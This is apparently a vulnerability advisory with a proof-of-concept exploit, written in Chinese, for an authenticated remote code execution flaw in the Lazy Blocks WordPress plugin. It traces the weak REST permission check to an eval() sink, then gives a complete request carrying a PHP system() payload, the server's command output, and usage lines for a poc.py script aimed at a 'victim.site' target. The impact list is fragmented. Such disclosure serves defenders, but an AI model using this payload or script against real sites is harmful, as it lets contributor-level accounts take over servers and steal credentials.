研究员: ZeYrOXxx
插件: 自定义区块构建器 – Lazy Blocks
受影响版本: ≤ 4.2.0
严重性: 高
CVSS: 8.8
漏洞类型: 认证远程代码执行(RCE)
攻击向量: REST API
所需权限: edit_posts(贡献者及以上)
在自定义区块构建器 – Lazy Blocks WordPress 插件中发现了一个高危安全漏洞,影响版本直至并包括 4.2.0。
该漏洞允许具有低权限(贡献者角色)的认证用户通过用于区块预览功能的 REST API 端点在服务器上执行任意 PHP 代码。
此问题完全破坏了 WordPress 的权限模型,并可能导致服务器完全沦陷。
POST /wp-json/lazy-blocks/v1/block-builder-preview/
任何具有 edit_posts 能力的认证用户均可访问该端点。
该 REST 路由注册时使用了弱权限回调:
'permission_callback' => array( $this, 'block_builder_preview_permission' )
这包括了贡献者,而贡献者绝不应被允许执行 PHP 代码。
REST 控制器 – classes/class-rest.php
$block = $request->get_param( 'block' );
$block_result = lazyblocks()->blocks()->render_callback(
$attributes,
null,
null,
$context,
$block_data
);
区块渲染器 – classes/class-blocks.php
public function php_eval( $code, $attributes, $context ) {
ob_start();
eval( '?>' . $code );
return ob_get_clean();
}
eval() 函数在未经清理或验证的情况下执行攻击者控制的 PHP 代码。
Lazy Blocks 允许为区块自定义 PHP 渲染逻辑。
REST API 预览端点接受用户提供的区块定义,且不区分受信任的已存储区块与攻击者控制的预览区块。
通过注入扁平化的区块属性,例如:
code_output_methodcode_editor_html攻击者可以到达 php_eval() 执行汇聚点并运行任意 PHP 代码。
请求:
POST /wp-json/lazy-blocks/v1/block-builder-preview/ HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Basic [Contributor_Credentials]
{
"context": "editor",
"block": {
"slug": "exploit-block",
"code_output_method": "php",
"code_editor_html": "<?php echo 'VULNERABLE: ' . system('id'); ?>"
}
}
响应:
HTTP/1.1 200 OK
Content-Type: application/json
{
"success": true,
"response": "<div useBlockProps>VULNERABLE: uid=33(www-data)...</div>"
}
✔ 已确认任意命令执行
此 PoC 严格用于安全测试和研究目的。
具有贡献者访问权限的攻击者可以:
wp-config.php)eval()manage_options 或 unfiltered_html 能力requests 库edit_posts 能力的有效 WordPress 凭据(贡献者及以上)pip install requests
python3 poc.py <target_url> <username> <password> "<command>"
python3 poc.py https://victim.site contributor password "id"
如果目标存在漏洞,命令输出将返回在 HTTP 响应中。
⚠️ 此概念验证严格用于授权的安全测试和研究目的。